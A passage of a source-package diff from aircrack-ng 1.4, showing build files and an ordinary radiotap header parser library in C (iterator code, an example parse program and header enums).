+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifndef __AIRCRACK_NG_OSDEP_PACKED_H__
+#define __AIRCRACK_NG_OSDEP_PACKED_H__
+
+#ifndef __packed
+#define __packed __attribute__((__packed__))
+#endif /* __packed */
+
+#ifndef __aligned
+#define __aligned(n)
+#endif
+
+#endif /* __AIRCRACK_NG_OSEDEP_PACKED_H__ */

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/radiotap Added

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/radiotap/COPYING Changed

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/radiotap/Makefile.am Added

@@ -0,0 +1,54 @@
+# Aircrack-ng
+#
+# Copyright (C) 2017 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+AM_CPPFLAGS = -I$(top_srcdir) \
+              -I$(top_srcdir)/src/include \
+              -I$(top_srcdir)/src \
+              $(LIBNL_CFLAGS) \
+              $(GLIB_CFLAGS)
+
+libradiotap_la_SOURCES = radiotap.c
+libradiotap_la_LDFLAGS = -no-undefined
+
+noinst_LTLIBRARIES = libradiotap.la
+
+EXTRA_DIST = radiotap.h radiotap_iter.h platform.h
+
+
+@CODE_COVERAGE_RULES@

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/radiotap/README Added

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/radiotap/parse.c Added

@@ -0,0 +1,164 @@
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/mman.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <endian.h>
+#include <errno.h>
+#include <string.h>
+#include "radiotap_iter.h"
+
+static int fcshdr = 0;
+
+static const struct radiotap_align_size align_size_000000_00[] = {
+	[0] = { .align = 1, .size = 4, },
+	[52] = { .align = 1, .size = 4, },
+};
+
+static const struct ieee80211_radiotap_namespace vns_array[] = {
+	{
+		.oui = 0x000000,
+		.subns = 0,
+		.n_bits = sizeof(align_size_000000_00),
+		.align_size = align_size_000000_00,
+	},
+};
+
+static const struct ieee80211_radiotap_vendor_namespaces vns = {
+	.ns = vns_array,
+	.n_ns = sizeof(vns_array)/sizeof(vns_array[0]),
+};
+
+static void print_radiotap_namespace(struct ieee80211_radiotap_iterator *iter)
+{
+	switch (iter->this_arg_index) {
+	case IEEE80211_RADIOTAP_TSFT:
+		printf("\tTSFT: %llu\n", le64toh(*(unsigned long long *)iter->this_arg));
+		break;
+	case IEEE80211_RADIOTAP_FLAGS:
+		printf("\tflags: %02x\n", *iter->this_arg);
+		break;
+	case IEEE80211_RADIOTAP_RATE:
+		printf("\trate: %lf\n", (double)*iter->this_arg/2);
+		break;
+	case IEEE80211_RADIOTAP_CHANNEL:
+	case IEEE80211_RADIOTAP_FHSS:
+	case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
+	case IEEE80211_RADIOTAP_DBM_ANTNOISE:
+	case IEEE80211_RADIOTAP_LOCK_QUALITY:
+	case IEEE80211_RADIOTAP_TX_ATTENUATION:
+	case IEEE80211_RADIOTAP_DB_TX_ATTENUATION:
+	case IEEE80211_RADIOTAP_DBM_TX_POWER:
+	case IEEE80211_RADIOTAP_ANTENNA:
+	case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
+	case IEEE80211_RADIOTAP_DB_ANTNOISE:
+	case IEEE80211_RADIOTAP_TX_FLAGS:
+		break;
+	case IEEE80211_RADIOTAP_RX_FLAGS:
+		if (fcshdr) {
+			printf("\tFCS in header: %.8x\n",
+				le32toh(*(uint32_t *)iter->this_arg));
+			break;
+		}
+		printf("\tRX flags: %#.4x\n",
+			le16toh(*(uint16_t *)iter->this_arg));
+		break;
+	case IEEE80211_RADIOTAP_RTS_RETRIES:
+	case IEEE80211_RADIOTAP_DATA_RETRIES:
+		break;
+	default:
+		printf("\tBOGUS DATA\n");
+		break;
+	}
+}
+
+static void print_test_namespace(struct ieee80211_radiotap_iterator *iter)
+{
+	switch (iter->this_arg_index) {
+	case 0:
+	case 52:
+		printf("\t00:00:00-00|%d: %.2x/%.2x/%.2x/%.2x\n",
+			iter->this_arg_index,
+			*iter->this_arg, *(iter->this_arg + 1),
+			*(iter->this_arg + 2), *(iter->this_arg + 3));
+		break;
+	default:
+		printf("\tBOGUS DATA - vendor ns %d\n", iter->this_arg_index);
+		break;
+	}
+}
+
+static const struct radiotap_override overrides[] = {
+	{ .field = 14, .align = 4, .size = 4, }
+};
+
+int main(int argc, char *argv[])
+{
+	struct ieee80211_radiotap_iterator iter;
+	struct stat statbuf;
+	int fd, err, fnidx = 1, i;
+	void *data;
+
+	if (argc != 2 && argc != 3) {
+		fprintf(stderr, "usage: parse [--fcshdr] <file>\n");
+		fprintf(stderr, "	--fcshdr: read bit 14 as FCS\n");
+		return 2;
+	}
+
+	if (strcmp(argv[1], "--fcshdr") == 0) {
+		fcshdr = 1;
+		fnidx++;
+	}
+
+	fd = open(argv[fnidx], O_RDONLY);
+	if (fd < 0) {
+		fprintf(stderr, "cannot open file %s\n", argv[fnidx]);
+		return 2;
+	}
+
+	if (fstat(fd, &statbuf)) {
+		perror("fstat");
+		return 2;
+	}
+
+	data = mmap(NULL, statbuf.st_size, PROT_READ, MAP_SHARED, fd, 0);
+
+	err = ieee80211_radiotap_iterator_init(&iter, data, statbuf.st_size, &vns);
+	if (err) {
+		printf("malformed radiotap header (init returns %d)\n", err);
+		return 3;
+	}
+
+	if (fcshdr) {
+		iter.overrides = overrides;
+		iter.n_overrides = sizeof(overrides)/sizeof(overrides[0]);
+	}
+
+	while (!(err = ieee80211_radiotap_iterator_next(&iter))) {
+		if (iter.this_arg_index == IEEE80211_RADIOTAP_VENDOR_NAMESPACE) {
+			printf("\tvendor NS (%.2x-%.2x-%.2x:%d, %d bytes)\n",
+				iter.this_arg[0], iter.this_arg[1],
+				iter.this_arg[2], iter.this_arg[3],
+				iter.this_arg_size - 6);
+			for (i = 6; i < iter.this_arg_size; i++) {
+				if (i % 8 == 6)
+					printf("\t\t");
+				else
+					printf(" ");
+				printf("%.2x", iter.this_arg[i]);
+			}
+			printf("\n");
+		} else if (iter.is_radiotap_ns)
+			print_radiotap_namespace(&iter);
+		else if (iter.current_namespace == &vns_array[0])
+			print_test_namespace(&iter);
+	}
+
+	if (err != -ENOENT) {
+		printf("malformed radiotap data\n");
+		return 3;
+	}
+
+	return 0;
+}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/radiotap/platform.h Changed

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/radiotap/radiotap.c Added

@@ -0,0 +1,395 @@
+/*
+ * Radiotap parser
+ *
+ * Copyright 2007		Andy Green <andy@warmcat.com>
+ * Copyright 2009		Johannes Berg <johannes@sipsolutions.net>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ *
+ * Alternatively, this software may be distributed under the terms of ISC
+ * license, see COPYING for more details.
+ */
+#include "radiotap_iter.h"
+#include "platform.h"
+
+/* function prototypes and related defs are in radiotap_iter.h */
+
+static const struct radiotap_align_size rtap_namespace_sizes[] = {
+	[IEEE80211_RADIOTAP_TSFT] = { .align = 8, .size = 8, },
+	[IEEE80211_RADIOTAP_FLAGS] = { .align = 1, .size = 1, },
+	[IEEE80211_RADIOTAP_RATE] = { .align = 1, .size = 1, },
+	[IEEE80211_RADIOTAP_CHANNEL] = { .align = 2, .size = 4, },
+	[IEEE80211_RADIOTAP_FHSS] = { .align = 2, .size = 2, },
+	[IEEE80211_RADIOTAP_DBM_ANTSIGNAL] = { .align = 1, .size = 1, },
+	[IEEE80211_RADIOTAP_DBM_ANTNOISE] = { .align = 1, .size = 1, },
+	[IEEE80211_RADIOTAP_LOCK_QUALITY] = { .align = 2, .size = 2, },
+	[IEEE80211_RADIOTAP_TX_ATTENUATION] = { .align = 2, .size = 2, },
+	[IEEE80211_RADIOTAP_DB_TX_ATTENUATION] = { .align = 2, .size = 2, },
+	[IEEE80211_RADIOTAP_DBM_TX_POWER] = { .align = 1, .size = 1, },
+	[IEEE80211_RADIOTAP_ANTENNA] = { .align = 1, .size = 1, },
+	[IEEE80211_RADIOTAP_DB_ANTSIGNAL] = { .align = 1, .size = 1, },
+	[IEEE80211_RADIOTAP_DB_ANTNOISE] = { .align = 1, .size = 1, },
+	[IEEE80211_RADIOTAP_RX_FLAGS] = { .align = 2, .size = 2, },
+	[IEEE80211_RADIOTAP_TX_FLAGS] = { .align = 2, .size = 2, },
+	[IEEE80211_RADIOTAP_RTS_RETRIES] = { .align = 1, .size = 1, },
+	[IEEE80211_RADIOTAP_DATA_RETRIES] = { .align = 1, .size = 1, },
+	[IEEE80211_RADIOTAP_MCS] = { .align = 1, .size = 3, },
+	[IEEE80211_RADIOTAP_AMPDU_STATUS] = { .align = 4, .size = 8, },
+	[IEEE80211_RADIOTAP_VHT] = { .align = 2, .size = 12, },
+	[IEEE80211_RADIOTAP_TIMESTAMP] = { .align = 8, .size = 12, },
+	/*
+	 * add more here as they are defined in radiotap.h
+	 */
+};
+
+static const struct ieee80211_radiotap_namespace radiotap_ns = {
+	.n_bits = sizeof(rtap_namespace_sizes) / sizeof(rtap_namespace_sizes[0]),
+	.align_size = rtap_namespace_sizes,
+};
+
+/**
+ * ieee80211_radiotap_iterator_init - radiotap parser iterator initialization
+ * @iterator: radiotap_iterator to initialize
+ * @radiotap_header: radiotap header to parse
+ * @max_length: total length we can parse into (eg, whole packet length)
+ *
+ * Returns: 0 or a negative error code if there is a problem.
+ *
+ * This function initializes an opaque iterator struct which can then
+ * be passed to ieee80211_radiotap_iterator_next() to visit every radiotap
+ * argument which is present in the header.  It knows about extended
+ * present headers and handles them.
+ *
+ * How to use:
+ * call __ieee80211_radiotap_iterator_init() to init a semi-opaque iterator
+ * struct ieee80211_radiotap_iterator (no need to init the struct beforehand)
+ * checking for a good 0 return code.  Then loop calling
+ * __ieee80211_radiotap_iterator_next()... it returns either 0,
+ * -ENOENT if there are no more args to parse, or -EINVAL if there is a problem.
+ * The iterator's @this_arg member points to the start of the argument
+ * associated with the current argument index that is present, which can be
+ * found in the iterator's @this_arg_index member.  This arg index corresponds
+ * to the IEEE80211_RADIOTAP_... defines.
+ *
+ * Radiotap header length:
+ * You can find the CPU-endian total radiotap header length in
+ * iterator->max_length after executing ieee80211_radiotap_iterator_init()
+ * successfully.
+ *
+ * Alignment Gotcha:
+ * You must take care when dereferencing iterator.this_arg
+ * for multibyte types... the pointer is not aligned.  Use
+ * get_unaligned((type *)iterator.this_arg) to dereference
+ * iterator.this_arg for type "type" safely on all arches.
+ *
+ * Example code: parse.c
+ */
+
+EXPORT
+int ieee80211_radiotap_iterator_init(
+	struct ieee80211_radiotap_iterator *iterator,
+	struct ieee80211_radiotap_header *radiotap_header,
+	int max_length, const struct ieee80211_radiotap_vendor_namespaces *vns)
+{
+	/* must at least have the radiotap header */
+	if (max_length < (int)sizeof(struct ieee80211_radiotap_header))
+		return -EINVAL;
+
+	/* Linux only supports version 0 radiotap format */
+	if (radiotap_header->it_version)
+		return -EINVAL;
+
+	/* sanity check for allowed length and radiotap length field */
+	if (max_length < get_unaligned_le16(&radiotap_header->it_len))
+		return -EINVAL;
+
+	iterator->_rtheader = radiotap_header;
+	iterator->_max_length = get_unaligned_le16(&radiotap_header->it_len);
+	iterator->_arg_index = 0;
+	iterator->_bitmap_shifter = get_unaligned_le32(&radiotap_header->it_present);
+	iterator->_arg = (uint8_t *)radiotap_header + sizeof(*radiotap_header);
+	iterator->_reset_on_ext = 0;
+	iterator->_next_bitmap = &radiotap_header->it_present;
+	iterator->_next_bitmap++;
+	iterator->_vns = vns;
+	iterator->current_namespace = &radiotap_ns;
+	iterator->is_radiotap_ns = 1;
+#ifdef RADIOTAP_SUPPORT_OVERRIDES
+	iterator->n_overrides = 0;
+	iterator->overrides = NULL;
+#endif
+
+	/* find payload start allowing for extended bitmap(s) */
+
+	if (iterator->_bitmap_shifter & (1<<IEEE80211_RADIOTAP_EXT)) {
+		if ((unsigned long)iterator->_arg -
+		    (unsigned long)iterator->_rtheader + sizeof(uint32_t) >
+		    (unsigned long)iterator->_max_length)
+			return -EINVAL;
+		while (get_unaligned_le32(iterator->_arg) &
+					(1 << IEEE80211_RADIOTAP_EXT)) {
+			iterator->_arg += sizeof(uint32_t);
+
+			/*
+			 * check for insanity where the present bitmaps
+			 * keep claiming to extend up to or even beyond the
+			 * stated radiotap header length
+			 */
+
+			if ((unsigned long)iterator->_arg -
+			    (unsigned long)iterator->_rtheader +
+			    sizeof(uint32_t) >
+			    (unsigned long)iterator->_max_length)
+				return -EINVAL;
+		}
+
+		iterator->_arg += sizeof(uint32_t);
+
+		/*
+		 * no need to check again for blowing past stated radiotap
+		 * header length, because ieee80211_radiotap_iterator_next
+		 * checks it before it is dereferenced
+		 */
+	}
+
+	iterator->this_arg = iterator->_arg;
+
+	/* we are all initialized happily */
+
+	return 0;
+}
+
+static void find_ns(struct ieee80211_radiotap_iterator *iterator,
+		    uint32_t oui, uint8_t subns)
+{
+	int i;
+
+	iterator->current_namespace = NULL;
+
+	if (!iterator->_vns)
+		return;
+
+	for (i = 0; i < iterator->_vns->n_ns; i++) {
+		if (iterator->_vns->ns[i].oui != oui)
+			continue;
+		if (iterator->_vns->ns[i].subns != subns)
+			continue;
+
+		iterator->current_namespace = &iterator->_vns->ns[i];
+		break;
+	}
+}
+
+#ifdef RADIOTAP_SUPPORT_OVERRIDES
+static int find_override(struct ieee80211_radiotap_iterator *iterator,
+			 int *align, int *size)
+{
+	int i;
+
+	if (!iterator->overrides)
+		return 0;
+
+	for (i = 0; i < iterator->n_overrides; i++) {
+		if (iterator->_arg_index == iterator->overrides[i].field) {
+			*align = iterator->overrides[i].align;
+			*size = iterator->overrides[i].size;
+			if (!*align) /* erroneous override */
+				return 0;
+			return 1;
+		}
+	}
+
+	return 0;
+}
+#endif
+
+
+/**
+ * ieee80211_radiotap_iterator_next - return next radiotap parser iterator arg
+ * @iterator: radiotap_iterator to move to next arg (if any)
+ *
+ * Returns: 0 if there is an argument to handle,
+ * -ENOENT if there are no more args or -EINVAL
+ * if there is something else wrong.
+ *
+ * This function provides the next radiotap arg index (IEEE80211_RADIOTAP_*)
+ * in @this_arg_index and sets @this_arg to point to the
+ * payload for the field.  It takes care of alignment handling and extended
+ * present fields.  @this_arg can be changed by the caller (eg,
+ * incremented to move inside a compound argument like
+ * IEEE80211_RADIOTAP_CHANNEL).  The args pointed to are in
+ * little-endian format whatever the endianness of your CPU.
+ *
+ * Alignment Gotcha:
+ * You must take care when dereferencing iterator.this_arg
+ * for multibyte types... the pointer is not aligned.  Use
+ * get_unaligned((type *)iterator.this_arg) to dereference
+ * iterator.this_arg for type "type" safely on all arches.
+ */
+
+EXPORT
+int ieee80211_radiotap_iterator_next(
+	struct ieee80211_radiotap_iterator *iterator)
+{
+	while (1) {
+		int hit = 0;
+		int pad, align, size, subns;
+		uint32_t oui;
+
+		/* if no more EXT bits, that's it */
+		if ((iterator->_arg_index % 32) == IEEE80211_RADIOTAP_EXT &&
+		    !(iterator->_bitmap_shifter & 1))
+			return -ENOENT;
+
+		if (!(iterator->_bitmap_shifter & 1))
+			goto next_entry; /* arg not present */
+
+		/* get alignment/size of data */
+		switch (iterator->_arg_index % 32) {
+		case IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE:
+		case IEEE80211_RADIOTAP_EXT:
+			align = 1;
+			size = 0;
+			break;
+		case IEEE80211_RADIOTAP_VENDOR_NAMESPACE:
+			align = 2;
+			size = 6;
+			break;
+		default:
+#ifdef RADIOTAP_SUPPORT_OVERRIDES
+			if (find_override(iterator, &align, &size)) {
+				/* all set */
+			} else
+#endif
+			if (!iterator->current_namespace ||
+			    iterator->_arg_index >= iterator->current_namespace->n_bits) {
+				if (iterator->current_namespace == &radiotap_ns)
+					return -ENOENT;
+				align = 0;
+			} else {
+				align = iterator->current_namespace->align_size[iterator->_arg_index].align;
+				size = iterator->current_namespace->align_size[iterator->_arg_index].size;
+			}
+			if (!align) {
+				/* skip all subsequent data */
+				iterator->_arg = iterator->_next_ns_data;
+				/* give up on this namespace */
+				iterator->current_namespace = NULL;
+				goto next_entry;
+			}
+			break;
+		}
+
+		/*
+		 * arg is present, account for alignment padding
+		 *
+		 * Note that these alignments are relative to the start
+		 * of the radiotap header.  There is no guarantee
+		 * that the radiotap header itself is aligned on any
+		 * kind of boundary.
+		 *
+		 * The above is why get_unaligned() is used to dereference
+		 * multibyte elements from the radiotap area.
+		 */
+
+		pad = ((unsigned long)iterator->_arg -
+		       (unsigned long)iterator->_rtheader) & (align - 1);
+
+		if (pad)
+			iterator->_arg += align - pad;
+
+		if (iterator->_arg_index % 32 == IEEE80211_RADIOTAP_VENDOR_NAMESPACE) {
+			int vnslen;
+
+			if ((unsigned long)iterator->_arg + size -
+			    (unsigned long)iterator->_rtheader >
+			    (unsigned long)iterator->_max_length)
+				return -EINVAL;
+
+			oui = (*iterator->_arg << 16) |
+				(*(iterator->_arg + 1) << 8) |
+				*(iterator->_arg + 2);
+			subns = *(iterator->_arg + 3);
+
+			find_ns(iterator, oui, subns);
+
+			vnslen = get_unaligned_le16(iterator->_arg + 4);
+			iterator->_next_ns_data = iterator->_arg + size + vnslen;
+			if (!iterator->current_namespace)
+				size += vnslen;
+		}
+
+		/*
+		 * this is what we will return to user, but we need to
+		 * move on first so next call has something fresh to test
+		 */
+		iterator->this_arg_index = iterator->_arg_index;
+		iterator->this_arg = iterator->_arg;
+		iterator->this_arg_size = size;
+
+		/* internally move on the size of this arg */
+		iterator->_arg += size;
+
+		/*
+		 * check for insanity where we are given a bitmap that
+		 * claims to have more arg content than the length of the
+		 * radiotap section.  We will normally end up equalling this
+		 * max_length on the last arg, never exceeding it.
+		 */
+
+		if ((unsigned long)iterator->_arg -
+		    (unsigned long)iterator->_rtheader >
+		    (unsigned long)iterator->_max_length)
+			return -EINVAL;
+
+		/* these special ones are valid in each bitmap word */
+		switch (iterator->_arg_index % 32) {
+		case IEEE80211_RADIOTAP_VENDOR_NAMESPACE:
+			iterator->_reset_on_ext = 1;
+
+			iterator->is_radiotap_ns = 0;
+			/*
+			 * If parser didn't register this vendor
+			 * namespace with us, allow it to show it
+			 * as 'raw. Do do that, set argument index
+			 * to vendor namespace.
+			 */
+			iterator->this_arg_index =
+				IEEE80211_RADIOTAP_VENDOR_NAMESPACE;
+			if (!iterator->current_namespace)
+				hit = 1;
+			goto next_entry;
+		case IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE:
+			iterator->_reset_on_ext = 1;
+			iterator->current_namespace = &radiotap_ns;
+			iterator->is_radiotap_ns = 1;
+			goto next_entry;
+		case IEEE80211_RADIOTAP_EXT:
+			/*
+			 * bit 31 was set, there is more
+			 * -- move to next u32 bitmap
+			 */
+			iterator->_bitmap_shifter =
+				get_unaligned_le32(iterator->_next_bitmap);
+			iterator->_next_bitmap++;
+			if (iterator->_reset_on_ext)
+				iterator->_arg_index = 0;
+			else
+				iterator->_arg_index++;
+			iterator->_reset_on_ext = 0;
+			break;
+		default:
+			/* we've got a hit! */
+			hit = 1;
+ next_entry:
+			iterator->_bitmap_shifter >>= 1;
+			iterator->_arg_index++;
+		}
+
+		/* if we found a valid arg earlier, return it now */
+		if (hit)
+			return 0;
+	}
+}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/radiotap/radiotap.h Added

@@ -0,0 +1,200 @@
+/*
+ * Copyright (c) 2017		Intel Deutschland GmbH
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+ */
+#ifndef __RADIOTAP_H
+#define __RADIOTAP_H
+
+/**
+ * struct ieee82011_radiotap_header - base radiotap header
+ */
+struct ieee80211_radiotap_header {
+	/**
+	 * @it_version: radiotap version, always 0
+	 */
+	uint8_t it_version;
+
+	/**
+	 * @it_pad: padding (or alignment)
+	 */
+	uint8_t it_pad;
+
+	/**
+	 * @it_len: overall radiotap header length
+	 */
+	uint16_t it_len;
+
+	/**
+	 * @it_present: (first) present word
+	 */
+	uint32_t it_present;
+} __packed;
+
+/* version is always 0 */
+#define PKTHDR_RADIOTAP_VERSION	0
+
+/* see the radiotap website for the descriptions */
+enum ieee80211_radiotap_presence {
+	IEEE80211_RADIOTAP_TSFT = 0,
+	IEEE80211_RADIOTAP_FLAGS = 1,
+	IEEE80211_RADIOTAP_RATE = 2,
+	IEEE80211_RADIOTAP_CHANNEL = 3,
+	IEEE80211_RADIOTAP_FHSS = 4,
+	IEEE80211_RADIOTAP_DBM_ANTSIGNAL = 5,
+	IEEE80211_RADIOTAP_DBM_ANTNOISE = 6,
+	IEEE80211_RADIOTAP_LOCK_QUALITY = 7,
+	IEEE80211_RADIOTAP_TX_ATTENUATION = 8,
+	IEEE80211_RADIOTAP_DB_TX_ATTENUATION = 9,
+	IEEE80211_RADIOTAP_DBM_TX_POWER = 10,
+	IEEE80211_RADIOTAP_ANTENNA = 11,
+	IEEE80211_RADIOTAP_DB_ANTSIGNAL = 12,
+	IEEE80211_RADIOTAP_DB_ANTNOISE = 13,
+	IEEE80211_RADIOTAP_RX_FLAGS = 14,
+	IEEE80211_RADIOTAP_TX_FLAGS = 15,
+	IEEE80211_RADIOTAP_RTS_RETRIES = 16,
+	IEEE80211_RADIOTAP_DATA_RETRIES = 17,
+	/* 18 is XChannel, but it's not defined yet */
+	IEEE80211_RADIOTAP_MCS = 19,
+	IEEE80211_RADIOTAP_AMPDU_STATUS = 20,
+	IEEE80211_RADIOTAP_VHT = 21,
+	IEEE80211_RADIOTAP_TIMESTAMP = 22,
+
+	/* valid in every it_present bitmap, even vendor namespaces */
+	IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE = 29,
+	IEEE80211_RADIOTAP_VENDOR_NAMESPACE = 30,
+	IEEE80211_RADIOTAP_EXT = 31
+};
+
+/* for IEEE80211_RADIOTAP_FLAGS */
+enum ieee80211_radiotap_flags {
+	IEEE80211_RADIOTAP_F_CFP = 0x01,
+	IEEE80211_RADIOTAP_F_SHORTPRE = 0x02,
+	IEEE80211_RADIOTAP_F_WEP = 0x04,
+	IEEE80211_RADIOTAP_F_FRAG = 0x08,
+	IEEE80211_RADIOTAP_F_FCS = 0x10,
+	IEEE80211_RADIOTAP_F_DATAPAD = 0x20,
+	IEEE80211_RADIOTAP_F_BADFCS = 0x40,
+};
+
+/* for IEEE80211_RADIOTAP_CHANNEL */
+enum ieee80211_radiotap_channel_flags {
+	IEEE80211_CHAN_CCK = 0x0020,
+	IEEE80211_CHAN_OFDM = 0x0040,
+	IEEE80211_CHAN_2GHZ = 0x0080,
+	IEEE80211_CHAN_5GHZ = 0x0100,
+	IEEE80211_CHAN_DYN = 0x0400,
+	IEEE80211_CHAN_HALF = 0x4000,
+	IEEE80211_CHAN_QUARTER = 0x8000,
+};
+
+/* for IEEE80211_RADIOTAP_RX_FLAGS */
+enum ieee80211_radiotap_rx_flags {
+	IEEE80211_RADIOTAP_F_RX_BADPLCP = 0x0002,
+};
+
+/* for IEEE80211_RADIOTAP_TX_FLAGS */
+enum ieee80211_radiotap_tx_flags {
+	IEEE80211_RADIOTAP_F_TX_FAIL = 0x0001,
+	IEEE80211_RADIOTAP_F_TX_CTS = 0x0002,
+	IEEE80211_RADIOTAP_F_TX_RTS = 0x0004,
+	IEEE80211_RADIOTAP_F_TX_NOACK = 0x0008,
+};
+
+/* for IEEE80211_RADIOTAP_MCS "have" flags */
+enum ieee80211_radiotap_mcs_have {
+	IEEE80211_RADIOTAP_MCS_HAVE_BW = 0x01,
+	IEEE80211_RADIOTAP_MCS_HAVE_MCS = 0x02,
+	IEEE80211_RADIOTAP_MCS_HAVE_GI = 0x04,
+	IEEE80211_RADIOTAP_MCS_HAVE_FMT = 0x08,
+	IEEE80211_RADIOTAP_MCS_HAVE_FEC = 0x10,
+	IEEE80211_RADIOTAP_MCS_HAVE_STBC = 0x20,
+};
+
+enum ieee80211_radiotap_mcs_flags {
+	IEEE80211_RADIOTAP_MCS_BW_MASK = 0x03,
+	IEEE80211_RADIOTAP_MCS_BW_20 = 0,
+	IEEE80211_RADIOTAP_MCS_BW_40 = 1,
+	IEEE80211_RADIOTAP_MCS_BW_20L = 2,
+	IEEE80211_RADIOTAP_MCS_BW_20U = 3,
+
+	IEEE80211_RADIOTAP_MCS_SGI = 0x04,
+	IEEE80211_RADIOTAP_MCS_FMT_GF = 0x08,
+	IEEE80211_RADIOTAP_MCS_FEC_LDPC = 0x10,
+	IEEE80211_RADIOTAP_MCS_STBC_MASK = 0x60,
+	IEEE80211_RADIOTAP_MCS_STBC_1 = 1,
+	IEEE80211_RADIOTAP_MCS_STBC_2 = 2,
+	IEEE80211_RADIOTAP_MCS_STBC_3 = 3,
+	IEEE80211_RADIOTAP_MCS_STBC_SHIFT = 5,
+};
+
+/* for IEEE80211_RADIOTAP_AMPDU_STATUS */
+enum ieee80211_radiotap_ampdu_flags {
+	IEEE80211_RADIOTAP_AMPDU_REPORT_ZEROLEN = 0x0001,
+	IEEE80211_RADIOTAP_AMPDU_IS_ZEROLEN = 0x0002,
+	IEEE80211_RADIOTAP_AMPDU_LAST_KNOWN = 0x0004,
+	IEEE80211_RADIOTAP_AMPDU_IS_LAST = 0x0008,
+	IEEE80211_RADIOTAP_AMPDU_DELIM_CRC_ERR = 0x0010,
+	IEEE80211_RADIOTAP_AMPDU_DELIM_CRC_KNOWN = 0x0020,
+};
+
+/* for IEEE80211_RADIOTAP_VHT */
+enum ieee80211_radiotap_vht_known {
+	IEEE80211_RADIOTAP_VHT_KNOWN_STBC = 0x0001,
+	IEEE80211_RADIOTAP_VHT_KNOWN_TXOP_PS_NA = 0x0002,
+	IEEE80211_RADIOTAP_VHT_KNOWN_GI = 0x0004,
+	IEEE80211_RADIOTAP_VHT_KNOWN_SGI_NSYM_DIS = 0x0008,
+	IEEE80211_RADIOTAP_VHT_KNOWN_LDPC_EXTRA_OFDM_SYM = 0x0010,
+	IEEE80211_RADIOTAP_VHT_KNOWN_BEAMFORMED = 0x0020,
+	IEEE80211_RADIOTAP_VHT_KNOWN_BANDWIDTH = 0x0040,
+	IEEE80211_RADIOTAP_VHT_KNOWN_GROUP_ID = 0x0080,
+	IEEE80211_RADIOTAP_VHT_KNOWN_PARTIAL_AID = 0x0100,
+};
+
+enum ieee80211_radiotap_vht_flags {
+	IEEE80211_RADIOTAP_VHT_FLAG_STBC = 0x01,
+	IEEE80211_RADIOTAP_VHT_FLAG_TXOP_PS_NA = 0x02,
+	IEEE80211_RADIOTAP_VHT_FLAG_SGI = 0x04,
+	IEEE80211_RADIOTAP_VHT_FLAG_SGI_NSYM_M10_9 = 0x08,
+	IEEE80211_RADIOTAP_VHT_FLAG_LDPC_EXTRA_OFDM_SYM = 0x10,
+	IEEE80211_RADIOTAP_VHT_FLAG_BEAMFORMED = 0x20,
+};
+
+enum ieee80211_radiotap_vht_coding {
+	IEEE80211_RADIOTAP_CODING_LDPC_USER0 = 0x01,
+	IEEE80211_RADIOTAP_CODING_LDPC_USER1 = 0x02,
+	IEEE80211_RADIOTAP_CODING_LDPC_USER2 = 0x04,
+	IEEE80211_RADIOTAP_CODING_LDPC_USER3 = 0x08,
+};
+
+/* for IEEE80211_RADIOTAP_TIMESTAMP */
+enum ieee80211_radiotap_timestamp_unit_spos {
+	IEEE80211_RADIOTAP_TIMESTAMP_UNIT_MASK = 0x000F,
+	IEEE80211_RADIOTAP_TIMESTAMP_UNIT_MS = 0x0000,
